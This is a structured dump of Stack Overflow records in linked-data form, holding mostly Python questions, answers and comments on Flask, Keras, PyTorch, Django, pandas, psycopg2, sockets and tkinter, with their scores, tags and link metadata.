has body: I can start a process and stream the command line outputs to a template it until it ends and render the template while the process is running using flask and jinja with this code: @app.route('/tasks/&lt;task&gt;', methods=['GET', 'POST']) def tasks(task): running_task = multiprocessing.current_process() if request.method == 'POST': if task == 'training': running_task = train_task(create_path(app.config['ARCHITECTURES_DIRECTORY'], get('architecture_name') + '.json'), create_path(app.config['DATASET_DIRECTORY'], get('dataset_name')), int(get('desired_image_size')), int(get('num_epochs')), int(get('checkpoint_epochs')), int(get('batch_size')), 'charsets/chars.txt', float(get('learning_rate')), get('optimizer'), getlist('metrics'), get('loss')) flash(task + " has started.") return render_template('tasks.html', task=running_task) def train_task(architecture_config_file, dataset_dir, desired_image_size, num_epochs, checkpoint_epochs, batch_size, charset_file, learning_rate, optimizer, metrics, loss): task = Process(target=train_model, args=( architecture_config_file, dataset_dir, learning_rate, metrics, loss, optimizer, desired_image_size, charset_file, ' ', num_epochs, batch_size, checkpoint_epochs )) task.start() return task How will I be able to do the following: Know if the process is running. Kill the process in case I don't want to let it finish.
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86081122
tagged with: python
tagged with: flask
has title: Check if a Specific multiprocess Process object is Running and Stop said Process with a Click of a Button in a Template?
has comment: http://stackoverflow.com/comment/86076810
has comment: http://stackoverflow.com/comment/86073690
has comment: http://stackoverflow.com/comment/86080638

http://stackoverflow.com/a/49596879
score: 0
answers question: http://stackoverflow.com/q/49596548
has body: You need to set score to zero before you use it
type: Answer

configuration-files
type: Tag
tag name: configuration-files
tags question: http://stackoverflow.com/q/49481196

http://stackoverflow.com/comment/86117115
has text: yah, i replace dwith my id
comment on: http://stackoverflow.com/a/49549991
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/111860384
type: AnswerComment
comment on: http://stackoverflow.com/a/50630001
has text: This feels like a terrific solution. Will test and add more comment after some use.
score: 0
type: Comment

http://stackoverflow.com/q/49550182
linked to: http://stackoverflow.com/q/63373692
type: Question
score: 40
upvote count: 40
has answer: http://stackoverflow.com/a/51157225
has answer: http://stackoverflow.com/a/63787051
has comment: http://stackoverflow.com/comment/110939985
linked to: http://stackoverflow.com/q/62728083
possible better answer: http://stackoverflow.com/a/56444135
answer count: 10
tagged with: python
has answer: http://stackoverflow.com/a/64859466
has answer: http://stackoverflow.com/a/68626839
has answer: http://stackoverflow.com/a/63853924
has answer: http://stackoverflow.com/a/56444135
has title: Keras rename model and layers
has body: 1) I try to rename a model and the layers in Keras with TF backend, since I am using multiple models in one script. Class Model seem to have the property model.name, but when changing it I get "AttributeError: can't set attribute". What is the Problem here? 2) Additionally, I am using sequential API and I want to give a name to layers, which seems to be possibile with Functional API, but I found no solution for sequential API. Does anonye know how to do it for sequential API? UPDATE TO 2): Naming the layers works, although it seems to be not documented. Just add the argument name, e.g. model.add(Dense(...,...,name="hiddenLayer1"). Watch out, Layers with same name share weights!
has answer: http://stackoverflow.com/a/51592848
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/77224731
has answer: http://stackoverflow.com/a/54443895
downvote count: 0
accepted answer: http://stackoverflow.com/a/49550620
tagged with: keras
has answer: http://stackoverflow.com/a/49550620
favorite count: 0

http://stackoverflow.com/comment/86157839
type: QuestionComment
comment on: http://stackoverflow.com/q/49532728
has text: I'm on Python 2 if that makes a difference...
score: 0
type: Comment

http://stackoverflow.com/q/49558826
favorite count: 0
type: Question
score: -3
tagged with: python
has comment: http://stackoverflow.com/comment/86125649
has body: If i want read all collection of my data database (mongoDB) I use the method find() "print(db.collecion.find())" we done error the error : 'Database' object is not callable. If you meant to call the 'find' method on a 'MongoClient' object it is failing because no such method exists. how to fix it? the code source : from pymongo import MongoClient from pymongo import * import os import pprint mongodb_host = 'localhost' mongo_port = '27017' client = MongoClient(mongodb_host + ':'+mongo_port) db = client['test'] cl=db.client try: pprint.pprint(cl.find()) except Exception as e: print ('this connection or insert are wrong.') print (e) the error : 'Database' object is not callable. If you meant to call the 'find' method on a 'MongoClient' object it is failing because no such method exists. how to fix it?
tagged with: mongodb
upvote count: 0
type: UnansweredQuestion
answer count: 1
downvote count: 3
has answer: http://stackoverflow.com/a/49559876
has title: How to read all collection from mongoDB?

http://stackoverflow.com/comment/86153691
type: Comment
score: 1
has text: By looking at the official sklearn docs it is correct that the coef_ has shape (1, n_features). Please look http://scikit-learn.org/stable/modules/generated/sklearn.linear_model.LogisticRegression.html
type: QuestionComment
comment on: http://stackoverflow.com/q/49573081

http://stackoverflow.com/q/49500089
has answer: http://stackoverflow.com/a/49503820
tagged with: python
has title: Pytorch save embeddings as part of encoder class or not
type: AnsweredQuestion
tagged with: pytorch
score: 1
has body: So I'm using pytorch for the first time. I'm trying to save weights to a file. I'm using a Encoder class that has a GRU and a embedding component. I want to make sure when I save the Encoder values that I will get the embedding values. Initially my code uses state_dict() to copy values to a dictionary of my own which I pass to torch.save(). Should I be looking for some way to save this embedding component or is it part of the larger encoder? The Encoder is a subclass of nn.Module . here's a link: http://pytorch.org/tutorials/intermediate/seq2seq_translation_tutorial.html#sphx-glr-intermediate-seq2seq-translation-tutorial-py def make_state(self, converted=False): if not converted: z = [ { 'epoch':0, 'arch': None, 'state_dict': self.model_1.state_dict(), 'best_prec1': None, 'optimizer': self.opt_1.state_dict(), 'best_loss': self.best_loss }, { 'epoch':0, 'arch':None, 'state_dict':self.model_2.state_dict(), 'best_prec1':None, 'optimizer': self.opt_2.state_dict(), 'best_loss': self.best_loss } ] else: z = [ { 'epoch': 0, 'arch': None, 'state_dict': self.model_1.state_dict(), 'best_prec1': None, 'optimizer': None , # self.opt_1.state_dict(), 'best_loss': self.best_loss }, { 'epoch': 0, 'arch': None, 'state_dict': self.model_2.state_dict(), 'best_prec1': None, 'optimizer': None, # self.opt_2.state_dict(), 'best_loss': self.best_loss } ] #print(z) return z pass def save_checkpoint(self, state=None, is_best=True, num=0, converted=False): if state is None: state = self.make_state(converted=converted) if converted: print(converted, 'is converted.') basename = hparams['save_dir'] + hparams['base_filename'] torch.save(state, basename + '.' + str(num)+ '.pth.tar') if is_best: os.system('cp '+ basename + '.' + str(num) + '.pth.tar' + ' ' + basename + '.best.pth.tar') https://discuss.pytorch.org/t/saving-and-loading-a-model-in-pytorch/2610/3 Here is another link
answer count: 1
downvote count: 0
upvote count: 1
accepted answer: http://stackoverflow.com/a/49503820
favorite count: 0
type: Question

http://stackoverflow.com/q/49483474
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/44729727
tagged with: dataframe
tagged with: python
duplicate of: http://stackoverflow.com/q/44729727
score: 0
has body: Question : Is there a straightforward way to split pandas dataframe into multiple groups based on index, apply a pre-defined function to calculate a new feature and combine the groups back to original shape with extended feature? I'm trying to enrich features in NYC GreenTaxi Data as shown below, Loading data and defining process function import pandas as pd from geopy.geocoders import Nominatim import os import urllib.request #Downloading the data, if not present if not os.path.exists('./gc_data_sept15.csv'): urllib.request.urlretrieve('https://s3.amazonaws.com/nyc-tlc/trip+data/green_tripdata_2015-09.csv', './gc_data_sept15.csv') #load the data greentaxi_data = pd.read_csv('./gc_data_sept15.csv') #functionality to get the county based on co-ordinates, using geolocator api of geopy def getCounty(coords,geolocator): location = geolocator.reverse(coords) if location.raw is not None and location.raw['address']['county'] is not None: return location.raw['address']['county'].split()[0] else : return 'Unknown' Checking functionality over a subset #define geolocator and derive a Pickup_borough subset_ = greentaxi_data[:100] geolocator = Nominatim(timeout=5000) subset_['Pickup_borough'] = subset_.apply(\ lambda row: getCounty((row['Pickup_latitude'],\ row['Pickup_longitude']),geolocator),axis=1) This works &gt;&gt;&gt; subset_['Pickup_borough'].head(5) 0 Kings 1 Bergen 2 Queens 3 Queens 4 Kings But when I try to do it on the original dataframe inspite of repeated attempts with an higher timeout, I keep getting 'Service timedout' after a certain index. So here's my question, Is there a way where I could split the dataframe to a subset of say 1000 indexes, apply the function above and combine the result back to original dataframe shape. Original Data Size : &gt;&gt;&gt; greentaxi_data.shape (1494926, 21)
answer count: 0
has comment: http://stackoverflow.com/comment/85969998
tagged with: pandas
has title: how to split dataframe, process and combine in pandas
type: Question
tagged with: python-3.x
tagged with: geopy
has comment: http://stackoverflow.com/comment/85969903

http://stackoverflow.com/comment/86131231
comment on: http://stackoverflow.com/q/49560894
has text: For anyone seeing this later on: the `return` event shown is actually not a function of the while loop, but rather of the return of the `exec` called in `BasicTracer.run`. @user2357112 's response clarifies the `call` event confusion.
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/q/49594124
has comment: http://stackoverflow.com/comment/86195764
answer count: 2
upvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86195745
score: -3
linked to: http://stackoverflow.com/q/394809
has comment: http://stackoverflow.com/comment/86195769
type: Question
has comment: http://stackoverflow.com/comment/86195727
has answer: http://stackoverflow.com/a/49594140
has title: Ternary operators
has body: I keep solving coding challenges and am able to do them quite simply. But the problem arises once I try to compact the code into a style that uses ternary operators. In this problem, I am trying to find the integer that occurs an odd amount of times in an array. I do this in the normal, good practice form and everything is fine. def find_it(seq): for x in seq: if seq.count(x) % 2 == 1: return x This works but when I try to turn it into something like this: def find_it(seq): for x in seq: return x if seq.count(x) % 2 == 1 It gives this error almost every time I try ternary operators: File "&lt;string&gt;", line 10 return x if seq.count(x) % 2 == 1 ^ SyntaxError: invalid syntax What is the issue? Why does it always say invalid syntax?
downvote count: 3
tagged with: ternary-operator
has comment: http://stackoverflow.com/comment/86195870
tagged with: python
favorite count: 0
has answer: http://stackoverflow.com/a/49594141

http://stackoverflow.com/q/49460872
type: Question
has title: python- how to send file to different network using socket
tagged with: network-programming
type: UnansweredQuestion
tagged with: sockets
tagged with: python
has answer: http://stackoverflow.com/a/49460920
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/85925442
has body: morning sensei, im learning network programming using socket now. i have able to transfer file from my laptop to my smartphone in the some network using public ip. however if im trying to transfer it to other phone in different network it doesnt work and the phone cant connect. here is my server.py: import sys import socket import os host = '' skServer = socket.socket(socket.AF_INET,socket.SOCK_STREAM) skServer.bind((host,2525)) skServer.listen(10) print ("Server Active") bFileFound = 0 while True: Content,Address = skServer.accept() print (Address, "connected") FileName = Content.recv(8192) sFileName = FileName.decode('utf-8') for file in os.listdir("files/"): if file == sFileName: bFileFound = 1 break if bFileFound == 0: print (sFileName+" Not Found On Server") else: print (sFileName," File Found") fUploadFile = open("files/"+sFileName,"rb+") sRead = fUploadFile.read(8192) while sRead: Content.sendall(sRead) sRead = fUploadFile.read(8192) print ("Sending Completed") Content.close() skServer.close() and here is my client.py: import sys import socket skClient = socket.socket(socket.AF_INET, socket.SOCK_STREAM) skClient.connect(("&lt;ip public&gt;",2525)) sFileName = input("Enter Filename to download from server : ") sData = "Temp" while True: skClient.sendall(sFileName.encode('utf-8')) sData = skClient.recv(8192) fDownloadFile = open("storage/emulated/0/qpython"+sFileName,"wb+") while sData: fDownloadFile.write(sData) sData = skClient.recv(8192) print ("Download Completed") skClient.close() is there any way i can use my script globally so any network can access it?

http://stackoverflow.com/comment/86142746
score: 0
has text: 3.6.2 (v3.6.2:5fd33b5, Jul 8 2017, 04:14:34) [MSC v.1900 32 bit (Intel)]
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49567157

http://stackoverflow.com/comment/86154954
type: AnswerComment
comment on: http://stackoverflow.com/a/49572134
type: Comment
has text: you could also consider aws kinesis
score: 0

http://stackoverflow.com/a/56091354
type: Answer
has body: As written in the documentation, you have to start the application using the $ mpiexec -n numprocs python -m mpi4py.futures pyfile Please read the examples category at the bottom of this documentation page: https://mpi4py.readthedocs.io/en/stable/mpi4py.futures.html#mpipoolexecutor
answers question: http://stackoverflow.com/q/49514975
upvote count: 1
downvote count: 0
score: 1

http://stackoverflow.com/comment/86003827
type: QuestionComment
comment on: http://stackoverflow.com/q/49478196
has text: @MartinEvans Added output of `print(pandas_dataset.head())`. With respect to the output I don't care about the format as long as I can read it back.
score: 0
type: Comment

http://stackoverflow.com/a/49513582
score: 1
downvote count: 0
upvote count: 1
has body: This will provide a list of columns has nulls/NaNs null_index = df.isnull().any() a= null_index[null_index==True].index.tolist() a will have a list of all the column names that has nulls in the column.
type: Answer
answers question: http://stackoverflow.com/q/49512856

http://stackoverflow.com/a/49575770
has comment: http://stackoverflow.com/comment/86159062
type: Answer
has body: From your code, I would define a function that return an updated copy of the dataframe def update_df(tbl, dt, h,l): df = tbl.copy() df.loc[dt,['high','low']] = (h,l) df['mv'] = df['high'].ewm(span=3, min_periods=3, adjust=False, ignore_na=False).mean() df['sum'] = (df['high'] + df['low']) return df You can update your dataframe: df = update_df(df, '2018-03-30 12:00:00', 50,20)
has comment: http://stackoverflow.com/comment/86159021
answers question: http://stackoverflow.com/q/49575111
score: 0

http://stackoverflow.com/a/49598231
has comment: http://stackoverflow.com/comment/86204360
has comment: http://stackoverflow.com/comment/86203990
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/86203925
has comment: http://stackoverflow.com/comment/86204443
has comment: http://stackoverflow.com/comment/86204583
has comment: http://stackoverflow.com/comment/86203721
has comment: http://stackoverflow.com/comment/86204490
has comment: http://stackoverflow.com/comment/86203766
accepted answer of: http://stackoverflow.com/q/49598179
has comment: http://stackoverflow.com/comment/86203773
has body: d.evaluate(x, y) will return all losses and metrics defined in your model. Refer to the documentation. d.test_on_batch(x, y) might also be of interest.
type: Answer
has comment: http://stackoverflow.com/comment/86204258
score: 2
answers question: http://stackoverflow.com/q/49598179
has comment: http://stackoverflow.com/comment/86204463
upvote count: 2

http://stackoverflow.com/comment/85895608
has text: What I remember is that you could navigate controls hierarchy to select what you take your action on (so not just define coords), but I do not know if it can bind to a window (and work even when minimized), that goes well beyond my understanding of Windows GUI scripting. ;)
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49445954

http://stackoverflow.com/q/49539928
has comment: http://stackoverflow.com/comment/86326610
type: UnansweredQuestion
tagged with: firefox
has title: Trying to run Selenium test script with smart card authentication
has body: I'm trying to run my Selenium scripts to test our software capabilities. Our modules are web-based and they require smart card authentication in order for me to access them. I have Selenium launch Firefox a specific URL, which resides behind a proxy. Once the browser launches, I will get prompted to enter my card pin. Once I enter my pin, my Selenium script will terminate instantly. The smart card pin prompt doesn't have any reference for me to tell Selenium what to look for (no xpath, CSS selector, class id, etc.). I can't even inspect it's elements Is there a way to run Selenium scripts behind a proxy? I'm using Python for my language and OpenAM, which configures our smart card authentication.
tagged with: python
tagged with: selenium-webdriver
tagged with: proxy
score: 0
has comment: http://stackoverflow.com/comment/86088179
answer count: 1
tagged with: selenium
has answer: http://stackoverflow.com/a/77137255
type: Question

http://stackoverflow.com/a/49550207
score: 2
answers question: http://stackoverflow.com/q/49550064
upvote count: 2
downvote count: 0
has body: You might be looking for the doc print(yoursoup.prettify())
type: Answer

http://stackoverflow.com/q/49475370
score: 0
has answer: http://stackoverflow.com/a/49475460
answer count: 3
has answer: http://stackoverflow.com/a/49475761
possible better answer: http://stackoverflow.com/a/49476113
has body: I got an error,NoReverseMatch at /polls/top/ Reverse for 'detail' with arguments '(1,)' not found. 1 pattern(s) tried: ['polls/top/<int:pk>/'] . I wrote in views.py from django.shortcuts import render from .models import Polls def top(request): data = Polls.objects.order_by('-created_at') return render(request,'index.html',{'data':data}) def detail(request): data = Polls.objects.order_by('-created_at') return render(request,'detail.html',{'data':data}) in child app's urls.py from django.conf.urls import url from django.conf import settings from django.conf.urls.static import static from . import views app_name = 'app' urlpatterns=[ url('top/', views.top, name='top'), url('detail/<int:pk>/', views.top,name='detail'), ] in parent app's urls.py from django.contrib import admin from django.conf.urls import url,include urlpatterns = [ url('admin/', admin.site.urls), url('polls/', include('polls.urls')), ] in index.html {% for item in data %} {{ item.title }} SHOW DETAIL {% endfor %} When I access top method, the error happens.I really cannot understand why I cannot access item.pk.I rewrote pk,but same error happens.What is wrong in my code?How should I fix this? My new urls.py is from django.conf.urls import url from django.conf import settings from django.conf.urls.static import static from . import views app_name = 'app' urlpatterns=[ url('top/', views.top, name='top'), url('detail/<int:pk>/', views.detail,name='detail'), ] My full traceback is Traceback (most recent call last): File "/Users/xxx/anaconda3/envs/py36/lib/python3.6/site-packages/django/core/handlers/exception.py", line 35, in inner response = get_response(request) File "/Users/xxx/anaconda3/envs/py36/lib/python3.6/site-packages/django/core/handlers/base.py", line 128, in _get_response response = self.process_exception_by_middleware(e, request) File "/Users/xxx/anaconda3/envs/py36/lib/python3.6/site-packages/django/core/handlers/base.py", line 126, in _get_response response = wrapped_callback(request, *cal…
type: Question
has comment: http://stackoverflow.com/comment/85953627
has comment: http://stackoverflow.com/comment/85953438
has title: NoReverseMatch at /polls/top/ Why does such a error happens?
tagged with: django
tagged with: python
has comment: http://stackoverflow.com/comment/85953890
has answer: http://stackoverflow.com/a/49476113
accepted answer: http://stackoverflow.com/a/49475761
type: AnsweredQuestion

http://stackoverflow.com/q/49476646
tagged with: timezone
upvote count: 0
score: -2
downvote count: 2
answer count: 1
tagged with: django
accepted answer: http://stackoverflow.com/a/49476759
tagged with: python
has answer: http://stackoverflow.com/a/49476759
type: AnsweredQuestion
has body: I'm able to save other attributes of a queried object but not time. Am I missing something with q.edited_datetime = timezone.now()? q = SomeObject.object.get(id=3) q.title = 'New Title' q.edited_datetime = timezone.now() q.save() In models: edited_datetime = models.DateTimeField(blank=True, null=True, default=None) That's basically the code I'm using. timezone.now() works if I create the object.
has title: In Django, how to save queried object with datetime attribute?
favorite count: 0
type: Question

http://stackoverflow.com/comment/86112173
comment on: http://stackoverflow.com/q/49552483
type: Comment
type: QuestionComment
score: 2
has text: try `df.query('ColA not in @conditions')` . Convert to conditions = ['A','B','C'].

http://stackoverflow.com/comment/86010122
comment on: http://stackoverflow.com/a/49502661
type: AnswerComment
score: 0
type: Comment
has text: The "result.text[:1000]" returns results starts with: '\r\n \r\n<!--[if IE 8 ]> <![endif]-->\r\n<!--[if IE 9 ]> <![endif]-->\r\n<!--[if (gt IE 9)|!(IE)]><!-->\r\n<!--<![endif]-->\r\n \r\n\t \r\n\t \r\n\t HOTEL INFO | Hotels Bangkok Metropolitan Region, Thailand \r\n\t window.NREUM||(NREUM={});

http://stackoverflow.com/q/49572264
has title: image to html using mpld3
answer count: 1
type: AnsweredQuestion
tagged with: mpld3
tagged with: matplotlib
has body: I am trying to export the html of a graph using mpld3 import matplotlib.pyplot as plt, mpld3 obj, = plt.plot([3,1,4,1,5], 'ks-', mec='w', mew=5, ms=20) mpld3.save_html(obj,'C:\\Users\\prabhat.mishra\\Desktop\\figure.html') Facing Issue as AttributeError: 'Line2D' object has no attribute 'canvas
tagged with: python
type: Question
accepted answer: http://stackoverflow.com/a/49573246
has answer: http://stackoverflow.com/a/49573246
score: 0

http://stackoverflow.com/a/49590016
has body: awk -F, -v OFS=, '{x = $1 "," $2} FNR == NR {a[x] = $3; b[x] = 0; next} {b[x] = $3} !a[x] {a[x] = 0} END {for (i in a) print i, a[i], b[i]}' f1 f2 | sort -n Since it's a loop, awk produces random order. Hence sorting at the end.
score: 0
answers question: http://stackoverflow.com/q/49567291
type: Answer

http://stackoverflow.com/comment/86174544
type: Comment
has text: The script calls the restlet API on the server-side to send out invoice. I only need to provide the header for authentication, and everything is passthrough the URL. http://www.test.com/api?recordtype=invoice&emailtype=reminder&INV100.
type: QuestionComment
comment on: http://stackoverflow.com/q/49582598
score: 0

http://stackoverflow.com/comment/86054806
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49524023
has text: probably is the version, did you try wit 2.7?

http://stackoverflow.com/comment/85953404
comment on: http://stackoverflow.com/q/49465870
score: 0
has text: @SethMMorton I think I gived the ifnromation to reproduce the error. Sorry if it could have been interpreted differently. It's the first time what i posted here.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86004518
has text: Yes print was by mistake and `df_out = pd.concat([pd.Series(X_test),pd.Series(Y_test)],axis=1)` and `df_out.to_csv('outpoot.csv')` solve my problem. Thanks !
type: Comment
score: 0
comment on: http://stackoverflow.com/q/49499658
type: QuestionComment

http://stackoverflow.com/comment/86203845
score: 0
comment on: http://stackoverflow.com/q/49586698
has text: @sabu1234 Then please consider accepting [my answer](https://stackoverflow.com/a/49598371/3832970)
type: QuestionComment
type: Comment

http://stackoverflow.com/q/49516712
score: 1
answer count: 1
tagged with: user-interface
favorite count: 0
type: Question
has title: using delay in python makes the code jump.how to solve it?
has comment: http://stackoverflow.com/comment/86038995
has comment: http://stackoverflow.com/comment/86039637
tagged with: tkinter
has comment: http://stackoverflow.com/comment/86038783
type: UnansweredQuestion
tagged with: delay
has comment: http://stackoverflow.com/comment/86039717
has answer: http://stackoverflow.com/a/49517399
has body: I am using python to create an User interface application. I am using tkinter for the UI. I created three widgets (two buttons and a label). when a button is pressed i want to excecute a method which has the following tasks to be done in an order. update button name in the label change button colour to red(initially it will be black) play an audio file until n seconds change back the colour to black here is how i coded this. from ttk import * from Tkinter import * from pygame import * import time root=Tk() n=2 global cmajorBox global dmajorBox mixer.init() def cMajor1(): currentChordVariable.set("C MAJOR") #l1 cmajorBox.config(bg = "red") #l2 print 'c major' #l3 mixer.music.load('c major.mp3') #l4 mixer.music.play() #l5 time.sleep(n) #l6 cmajorBox.config(bg="black") #l7 def dMajor1(): currentChordVariable.set("D MAJOR") dmajorBox.config(bg="red") print 'd major' mixer.music.load('d major.mp3') mixer.music.play() time.sleep(n) dmajorBox.config(bg="black") cubeFrame=Frame(root) cubeFrame.grid(row=1,column=1) cmajorBox =Button(cubeFrame,text="cmajor",bg="black", fg="white",padx=5.5,pady=20,command=cMajor1) cmajorBox.grid(row = 1, column = 1) dmajorBox = Button(cubeFrame,text="dmajor",bg="black", fg="white",padx=5.5,pady=20,command=dMajor1) dmajorBox.grid(row = 1, column =2) currentChordVariable=StringVar() currentChordDisplay = Label(root, textvariable=currentChordVariable,bg="red", fg="white",padx=70,pady=50) currentChordDisplay.grid(row=2, column=1) mainloop() n denotes how long the audio should be played.it is a delay for the next code to start.i have mentioned the line numbers in the code. the code goes on like this while running(l3,l4,l5,l6,l1,l2,l7).i don't know why this happens. the colour change and name update is processed only after the delay even if i coded it before the delay.how to overcome this issue. this is just a small part of my total application.i am using 24 buttons like this.i am stuck with this now.please help.
tagged with: python
downvote count: 0
upvote count: 1

http://stackoverflow.com/a/49455954
answers question: http://stackoverflow.com/q/49455804
score: 0
type: Answer
has body: Store the results (i.e. addresses) it using a list comprehension. my_list = ['http://exampleaddress.com/rowdycode/wow{}.jpg'.format(n) for n in range(1,3)] or we can use f-strings (Introduced in Python 3.6) my_list = [f'http://exampleaddress.com/rowdycode/wow{n}.jpg' for n in range(1,3)] # print(my_list) for testing purposes Doing the same within a for loop: for n in range(1,3): address = f'http://exampleaddress.com/rowdycode/wow{n}.jpg' # print (address)

http://stackoverflow.com/a/58023725
score: 0
has body: change the directory of .py that you are working on. Right click to sample.py(which is above of console) and choose set console working directory. You can apply it for each python file while working on it. I had also same problem and did that , now it is okey.
type: Answer
answers question: http://stackoverflow.com/q/49524514

http://stackoverflow.com/q/49478164
downvote count: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/49478364
has comment: http://stackoverflow.com/comment/85959078
favorite count: 0
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/49478364
tagged with: arrays
tagged with: python
tagged with: psycopg2
has body: I'm trying to read from a file and insert the data to a postgresql table in python using the psycopg2. Here's the function I wrote: def insert(file, table, col, conn): sql = "INSERT INTO "+table+"("+col+") VALUES(%s)" cur = conn.cursor() with open(os.path.join(DEFAULTS_FOLDER, file)) as fp: line = fp.readline() while line: cur.execute(sql, (line.rstrip(),)) line = fp.readline() conn.commit() cur.close() return For some reason I get an error: cur.execute(sql, (line.rstrip(),)) psycopg2.DataError: malformed array literal: "hello" LINE 1: INSERT INTO greetings(gname) VALUES('hello') I also tried to insert a plain string and I still get the same error.
tagged with: postgresql
type: AnsweredQuestion
score: 3
upvote count: 3
has title: Python: malformed array literal when inserting a string

http://stackoverflow.com/comment/85921209
has text: Thank you. Had to commit the data to the db as well!
comment on: http://stackoverflow.com/a/49458135
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/85939948
has text: Each individual trajectory is an ndarray? If they are, can you explain why you chose an ndarray to contain them all?
comment on: http://stackoverflow.com/q/49468649
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49542721
has comment: http://stackoverflow.com/comment/86113943
score: 0
answer count: 1
has title: Scrape HTML tables with BeautifulSoup
has answer: http://stackoverflow.com/a/49554086
tagged with: beautifulsoup
type: Question
has body: I am trying to scrape the upstream and downstream values for each channel from our ISP Cable Modem. I cannot get the data to display correctly. I want the data to output in a normalized CSV format for logging. Here is the code I have, but it's woefully inadequate. import requests from bs4 import BeautifulSoup # Collect and parse first page page = requests.get('http://192.168.100.1/Docsis_system.asp') soup = BeautifulSoup(page.text, 'html.parser') # Pull all text from the proper section in the page #signal_value_list = soup.find('tbody') signal_value_list = soup.find('table', {'summary':'Downstream Channels'}) # Pull text from all instances of &lt;td&gt; tag within align div signal_value_list_items = signal_value_list.find_all('td') # Create for loop to print out all values for signal_value in signal_value_list_items: sigval = signal_value.contents[0] print(sigval) the page I'm trying to parse is located at this link as a TXT file: Download it here screenshot of the modem page with tables I'm willing to go some other direction to get this data, but I wass hoping that I could get this done far easier than it has turned out. Anyone have thoughts?
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/q/49599419
has answer: http://stackoverflow.com/a/49600321
answer count: 1
upvote count: 1
has title: What field Django used in FOO_set?
downvote count: 1
favorite count: 0
type: Question
has body: I am little bit comfused. Lets say I have such models. models.py: class Company(models.Model): name = models.CharField(blank=False, null=False) class Game(models.Model): developer = models.ForeignKey(Company, on_delete=models.CASCADE) publishers = models.ManyToManyField(Company) If I use next code: current_company = Company.object.get(pk=1) current_company.game_set.all() as I understand it return all games of current_company, but what field (developer or publishers) Django used?
tagged with: django
tagged with: django-models
tagged with: python
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/49600321

http://stackoverflow.com/q/49459115
tagged with: nltk
tagged with: elasticsearch
tagged with: python
tagged with: nlp
tagged with: nosql
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/85933794
type: UnansweredQuestion
has body: I am doing an NLP term project and am analyzing over 100,000 news articles from this corpus. https://github.com/philipperemy/financial-news-dataset I am looking to perform sentiment analysis on this dataset using NLTK. However, I am a bit confused about how this pipeline should look for storing and accessing all of these articles. The articles are text files that I read and perform some preprocessing on in order to extract some metadata and extract the main article text. Currently, I am storing the data from each article in a python object such as this: { 'title' : title, 'author' : author, 'date' : date, 'text' : text, } I would like to store these objects in a database so I don't have to read all of these files every time I want to do analysis. My problem is, I'm not really sure which database to use. I want to be able to use regexes on certain fields such as date and title so I can isolate documents by date and company names. I was thinking of going the NoSql route and using a DB like MongoDb or CouchDB or maybe even a search engine such as ElasticSearch. After I query for the documents I want to use for analysis, I will tokenize the text, POS tag it, and perform NER using NLTK. I have already implemented this part of the pipeline. Is it smart to do this after the database is already indexed in the database? Or should I look at storing the processed data in the database well? Finally, I will use this processed data to classify each article, using a trained model I've already developed. I already have a gold standard, so I will compare the classification against the gold standard. Does this pipeline generally look correct? I don't have much experience with using large datasets like this.
has comment: http://stackoverflow.com/comment/85962630
has title: Storing unstructured data for sentiment analysis
type: Question
has comment: http://stackoverflow.com/comment/85977687
has comment: http://stackoverflow.com/comment/85962728

http://stackoverflow.com/a/49574331
downvote count: 0
type: Answer
upvote count: 1
score: 1
accepted answer of: http://stackoverflow.com/q/49564126
has body: Solved: Tensorflow will accept only 1D arrays, and my image was 3D, array. shape = [28, 28, 3]. So I have removed the RGB dimension and ravel the 2D array. The result of this I have imported to Tensorflow classifier, but I realized I need to invert the colors, so every zero in the array should equal to 1 and every 1 to zero. Here is the code: im = mpimg.imread('dva-test.png') im = im[:, :, 0] im = im.ravel() for j in range(len(im)): if im[j] == 0: im[j] = 1 elif im[j] == 1: im[j] = 0 global prediction prediction = cls.predict(np.array([im], dtype=float), as_iterable=False)
answers question: http://stackoverflow.com/q/49564126
type: AcceptedAnswer

http://stackoverflow.com/q/49471545
has comment: http://stackoverflow.com/comment/85946091
tagged with: python
has body: I'm searching for a way to use DLL in Python, I found ctypes that should fix it but I can't get to make it work... Do I need to install DLL first? (by executing it on windows with 'regsvr32..file..') If yes, how... The DLL files I got are 'Files' not 'programms' and I can't launch them (not found by the executor in system32) If not, I first can't see the DLL files I added to system32 (thought it could help to put them there) in my Python's browser and if they are somewhere else, it gives me the error [WinError 193] %1 is not a valid Win32 application. My script: import ctypes malib = ctypes.WinDLL("D:\Documents\Python Scripts\ClaymoreProtocol.dll") malib.SetClaymoreKeyboardMode(1) #SetClaymoreKeyboardMode is a function of the dll (https://www.asus.com/campaign/aura/us/SDK.html the link for the SDK i'm trying to use)
has comment: http://stackoverflow.com/comment/85961457
score: 0
has comment: http://stackoverflow.com/comment/85960633
answer count: 0
has comment: http://stackoverflow.com/comment/85960620
linked to: http://stackoverflow.com/q/2953834
has title: Using DLL in Python
has comment: http://stackoverflow.com/comment/85946068
has comment: http://stackoverflow.com/comment/85953722
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/85961322
tagged with: ctypes
has comment: http://stackoverflow.com/comment/85961268
has comment: http://stackoverflow.com/comment/85946081
tagged with: sdk
tagged with: dll
type: UnansweredQuestion

http://stackoverflow.com/comment/86048572
type: Comment
type: QuestionComment
has text: There are indentation errors in the code you posted before the parser gets to that line. Please ensure you post an accurate representation of what you're looking at locally. Just post the whole code block in one go, highlight it all and press ctrl + k, or click the `{}` button in the editor.
comment on: http://stackoverflow.com/q/49521349
score: 0

http://stackoverflow.com/a/49578804
score: 0
